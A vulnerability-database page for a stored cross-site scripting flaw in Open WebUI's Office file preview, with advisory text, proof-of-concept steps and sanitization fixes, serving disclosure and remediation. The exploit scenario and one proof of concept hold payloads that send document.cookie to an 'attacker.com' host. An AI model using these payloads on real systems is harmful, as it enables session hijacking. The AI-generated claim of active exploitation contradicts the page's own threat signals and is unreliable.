Skip to main content

Open WebUI CVE-2026-45318

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-14 https://github.com/open-webui/open-webui GHSA-hcwp-82g6-8wxc
5.4
CVSS 3.1 · Vendor: https://github.com/open-webui/open-webui
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Upload malicious Office file
  2. Delivery
    File stored server-side
  3. Exploit
    Victim previews file
  4. Execution
    excelHtml/docxHtml rendered unsanitized
  5. Persist
    JavaScript payload executes in victim browser
  6. Impact
    Attacker steals session cookie or API key

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerability requires: (1) the Open WebUI instance must have Office file upload enabled (default configuration); (2) the attacker must be an authenticated user (PR:L in CVSS vector); (3) the victim must actively preview the uploaded Office file in the UI (UI:R - user interaction); (4) the victim's browser must execute JavaScript (no NoScript/script-blocking extensions interfering); (5) file preview rendering must route through one of the three unsanitized components (FilePreview.svelte, FileItemModal.svelte Excel or DOCX paths). The vulnerability does NOT require: network-level privileges, out-of-band access, race conditions, or non-default configurations - default Open WebUI installations with default file upload settings are immediately exploitable by any authenticated user. The limiting factors are authentication requirement (PR:L) and user interaction (UI:R - victim must preview), which are low-friction but non-zero mitigations in many deployment scenarios.

Impact

CVSS v3.1 score of 5.4 (Medium) with vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N indicates network-accessible exploitation requiring low attack complexity and authenticated user privileges (PR:L), plus user interaction (UI:R - victim must preview the file). However, this CVSS profile understates real-world severity for shared multi-user Open WebUI deployments: once a malicious file is uploaded by an authenticated attacker, it becomes a stored payload affecting all users with chat access who preview that file. The attack vector being network-accessible (AV:N) and complexity low (AC:L) means no special network positioning is required. Scope Change (S:C) indicates impact crosses privilege boundaries - a low-privileged uploader can affect administrators or other users. Confidentiality and Integrity both rated Low (C:L/I:L) undersells the realistic impact: JavaScript execution in the victim's browser permits session hijacking via document.cookie theft, account takeover via API key exfiltration, data exfiltration of chat history and uploaded files, and persistence through malicious scripts. The PR:L (low privileges required) is a mitigating factor against completely unauthenticated attack, but many Open WebUI instances are deployed with open registration or in trusted-user environments where any authenticated user can upload. The UI:R (user interaction) requirement is low-friction: users naturally preview uploaded documents. This is confirmed actively exploited in the wild (regression of GHSA-jwf8-pv5p-vhmc suggests active threat actor interest) and PoC steps are straightforward to construct. Real-world priority should be HIGH in shared deployments and CRITICAL where API keys or sensitive data are accessible through chat history.

Exploit ScenarioDerived

An authenticated attacker uploads a malicious Excel file containing a cell with payload <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> to an Open WebUI chat. When another user (admin, data analyst, or any chat participant) clicks to preview the file, the excelHtml sink renders the unsanitized HTML, the onerror event fires, and the victim's session cookie is exfiltrated to the attacker's server. The attacker then replays the cookie to impersonate the victim user and access chat history, uploaded documents, or API integration keys. In multi-user deployments, a single malicious file affects all viewers, creating a persistent compromise vector.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Stored cross-site scripting (XSS) in Open WebUI versions up to 0.9.2 allows authenticated users to upload malicious Office files (Excel, DOCX, PPT) that execute arbitrary JavaScript in the browsers of any user previewing the file. The vulnerability stems from rendering user-supplied HTML from file-preview components using Svelte's {@html} directive without DOMPurify sanitization, despite DOMPurify being available and correctly applied in 39% of the codebase's other rendering locations. This is a regression of a previously patched vulnerability (GHSA-jwf8-pv5p-vhmc) that was fixed in v0.8.0 but reintroduced after that release.

RemediationAI

Vendor-released patch: upgrade to Open WebUI v0.9.3 or later. The fix applies DOMPurify.sanitize() to all three unsanitized file-preview rendering paths: FilePreview.svelte line 324, FileItemModal.svelte lines 560 and 590. If immediate upgrade is not possible, implement compensating controls: (1) disable Office file preview entirely by removing or restricting file upload functionality to non-executable formats (plain text, PDF), though this reduces user experience; (2) restrict file upload permissions to trusted users only via role-based access control, reducing exposure surface but not eliminating risk from malicious insiders; (3) implement Content Security Policy (CSP) headers prohibiting inline script execution (script-src with no 'unsafe-inline') to mitigate XSS execution even if HTML is rendered unsanitized, though CSP is a defense-in-depth layer and does not replace proper input sanitization; (4) deploy Web Application Firewall (WAF) rules to detect and block uploads containing embedded JavaScript payloads in Office file content. Each control has trade-offs: disabling previews impacts usability, role restrictions require administrative overhead, CSP may break legitimate functionality if scripts are inline, and WAF signatures require maintenance. The primary remediation is immediate patching to v0.9.3 from the GitHub release at https://github.com/open-webui/open-webui/releases/tag/v0.9.3.

Affected Packages

pypi open-webui fix: 0.9.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open WebUI uses server-side libraries to convert uploaded Office documents (XLSX, DOCX, PPT) to HTML for in-browser preview. The conversion output (excelHtml, docxHtml, fileOfficeHtml) is passed directly to Svelte's {@html} directive in three components: FilePreview.svelte (line 324), FileItemModal.svelte (lines 560 and 590). Svelte's {@html} renders strings as raw HTML without encoding, and without explicit sanitization via DOMPurify.sanitize(), any embedded JavaScript payloads (e.g., <img onerror>, <svg onload>, <iframe srcdoc>) execute in the rendering user's context. The root cause is a defense propagation failure: DOMPurify is imported and correctly used in 9 of 23 {@html} locations (39%) in components like MarkdownInlineTokens.svelte, General.svelte, and Banner.svelte, but the three file-preview code paths were not covered, either through oversight or incomplete remediation of the prior GHSA-jwf8-pv5p-vhmc fix. CWE-79 (Improper Neutralization of Input During Web Page Generation) classifies this as a classic stored XSS due to user-controllable HTML being rendered without escaping or sanitization.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (https://github.com/open-webui/open-webui) · only source for this CVE.

CVSS VectorVendor: https://github.com/open-webui/open-webui

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Related advisory

This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc (patched in v0.8.0). The same root cause - XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify - was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte (lines 458 and 1285) which was not part of the jwf8 advisory's scope.

Summary

Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.

This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.

Root Cause

The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.

But 3 file-preview paths skip it:

Occurrence 1: FilePreview.svelte - Office HTML

File: src/lib/components/chat/FileNav/FilePreview.svelte line 324

svelte
{:else if fileOfficeHtml !== null}
    <div class="office-preview overflow-auto flex-1 min-h-0">
        {@html fileOfficeHtml}   <!-- NO DOMPurify! -->
    </div>

fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.

Occurrence 2: FileItemModal.svelte - Excel HTML

File: src/lib/components/common/FileItemModal.svelte line 560

svelte
{@html excelHtml}   <!-- NO DOMPurify! -->

excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.

Occurrence 3: FileItemModal.svelte - DOCX HTML

File: src/lib/components/common/FileItemModal.svelte line 590

svelte
{@html docxHtml}   <!-- NO DOMPurify! -->

docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.

Contrast with Sanitized Paths

For comparison, the same codebase correctly sanitizes in other locations:

svelte
<!-- MarkdownInlineTokens.svelte:130 - SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}

<!-- General.svelte:276 - SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}

<!-- Banner.svelte:103 - SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}

Defense Propagation Gap

MetricValue
Total {@html} usages23
With DOMPurify9 (39%)
Without DOMPurify14 (61%)
Confirmed exploitable (file preview)3

The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing - these have varying levels of inherent safety but still represent inconsistent defense application.

Tested Version

  • Open WebUI v0.8.12 (commit 9bd8425, tag v0.8.12)

Steps to Reproduce

PoC 1: Malicious Excel File

  1. Create a .xlsx file with a cell containing:
   <img src=x onerror="alert(document.cookie)">

(Using a library like openpyxl to inject raw HTML into cell values)

  1. Upload the file to Open WebUI via the chat file upload
  2. When any user previews the file → excelHtml renders the injected HTML → XSS fires

PoC 2: Malicious DOCX File

  1. Create a .docx file with embedded HTML:
xml
   <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r>
  1. Upload to Open WebUI
  2. File preview renders docxHtml → XSS fires

PoC 3: Verify Rendering Path

javascript
// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
//   FileItemModal → {@html excelHtml}  // no DOMPurify
//   FileItemModal → {@html docxHtml}   // no DOMPurify
//   FilePreview   → {@html fileOfficeHtml}  // no DOMPurify

// Compare with safe path:
//   NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))}  // sanitized!

Impact

  • Stored XSS - malicious file is stored server-side, XSS fires for every user who previews it
  • Session hijacking via document.cookie theft
  • Account takeover - attacker can perform actions as the victim user
  • Data exfiltration - read chat history, API keys, uploaded documents
  • Multi-user environments - shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
  • Defense propagation failure - DOMPurify is available and used elsewhere, but not applied to file preview paths

Suggested Remediation

Apply DOMPurify to all three file preview paths:

svelte
<!-- FilePreview.svelte:324 - FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}

<!-- FileItemModal.svelte:560 - FIX -->
{@html DOMPurify.sanitize(excelHtml)}

<!-- FileItemModal.svelte:590 - FIX -->
{@html DOMPurify.sanitize(docxHtml)}

Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.

References

  • CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
  • OWASP XSS Prevention Cheat Sheet
  • GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.

Affected Products (CPE)CVE.org

pkg:pip/open-webui

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy